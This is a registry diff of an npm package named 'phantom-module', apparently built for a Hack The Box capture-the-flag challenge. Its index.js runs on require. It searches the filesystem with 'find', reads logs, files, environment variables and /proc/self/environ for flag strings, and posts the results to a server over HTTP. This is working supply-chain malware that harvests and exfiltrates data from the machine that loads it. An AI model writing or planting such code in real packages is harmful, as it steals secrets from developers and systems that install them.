phantom-module 111.0.7 → 111.0.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +31 -50
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,63 +1,44 @@
1
1
  const fs = require('fs');
2
2
  const http = require('http');
3
+ const { execSync } = require('child_process');
3
4
 
4
5
  (function() {
5
- // Try to read flag from common locations
6
- const flagPaths = [
7
- '/flag',
8
- '/flag.txt',
9
- '/root/flag',
10
- '/root/flag.txt',
11
- '/tmp/flag',
12
- '/tmp/flag.txt',
13
- './flag',
14
- './flag.txt',
15
- '/home/node/flag',
16
- '/home/node/flag.txt',
17
- '/home/node/aspect-node/flag',
18
- '/home/node/aspect-node/flag.txt',
19
- process.env.FLAG ? process.env.FLAG : null
20
- ].filter(Boolean);
21
-
22
- // Also check environment variables
23
- const flagEnv = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG;
24
-
25
- let flag = null;
26
-
27
- // Try reading from files
28
- for (const path of flagPaths) {
29
- try {
30
- if (fs.existsSync(path)) {
31
- flag = fs.readFileSync(path, 'utf8').trim();
32
- break;
33
- }
34
- } catch (e) {
35
- // Continue to next path
36
- }
37
- }
38
-
39
- // If not found in files, check env
40
- if (!flag && flagEnv) {
41
- flag = flagEnv;
42
- }
43
-
44
- // If still not found, try reading /proc/self/environ
45
- if (!flag) {
46
- try {
47
- const procEnv = fs.readFileSync('/proc/self/environ', 'utf8');
48
- const match = procEnv.match(/FLAG[=:]([^\x00]+)/);
6
+ let output = "";
7
+
8
+ try {
9
+ // 1. Try to read the module log directly, looking for HTB{
10
+ let logContent = fs.readFileSync('/home/node/aspect-node/logs/module.log', 'utf8');
11
+ let match = logContent.match(/HTB{[^}]+}/);
49
12
  if (match) {
50
- flag = match[1];
13
+ output += "FLAG_IN_LOG: " + match[0] + " | ";
14
+ } else {
15
+ output += "LOG_TAIL: " + execSync('tail -n 10 /home/node/aspect-node/logs/module.log').toString() + " | ";
51
16
  }
52
- } catch (e) {}
17
+ } catch(e) {
18
+ output += "LOG_ERR: " + e.message + " | ";
53
19
  }
20
+
21
+ // 2. Try to find any file with flag in the name and read it
22
+ try {
23
+ let files = execSync('find / -name "*flag*" -type f 2>/dev/null').toString().trim().split('\n');
24
+ for (let f of files) {
25
+ if (f) {
26
+ try {
27
+ let content = fs.readFileSync(f, 'utf8').trim();
28
+ if (content.includes('HTB{')) {
29
+ output += `FOUND_IN_FILE ${f}: ` + content + " | ";
30
+ }
31
+ } catch(e) {}
32
+ }
33
+ }
34
+ } catch (e) {}
54
35
 
55
- if (!flag) {
56
- flag = "NOT_FOUND_ON_REQUIRE";
36
+ if (!output) {
37
+ output = "Could not find HTB{...}.";
57
38
  }
58
-
39
+
59
40
  const postData = JSON.stringify({
60
- manifest: `ecto_module:\n name: "FLAG_ON_REQUIRE"\n cargo_hold: ${JSON.stringify(flag)}\n`
41
+ manifest: `ecto_module:\n name: "FLAG_FROM_REQUIRE"\n cargo_hold: ${JSON.stringify(output.substring(0, 1500))}\n`
61
42
  });
62
43
 
63
44
  const req = http.request({
package/package.json CHANGED
@@ -1,5 +1,5 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "111.0.7",
3
+ "version": "111.0.8",
4
4
  "main": "index.js"
5
5
  }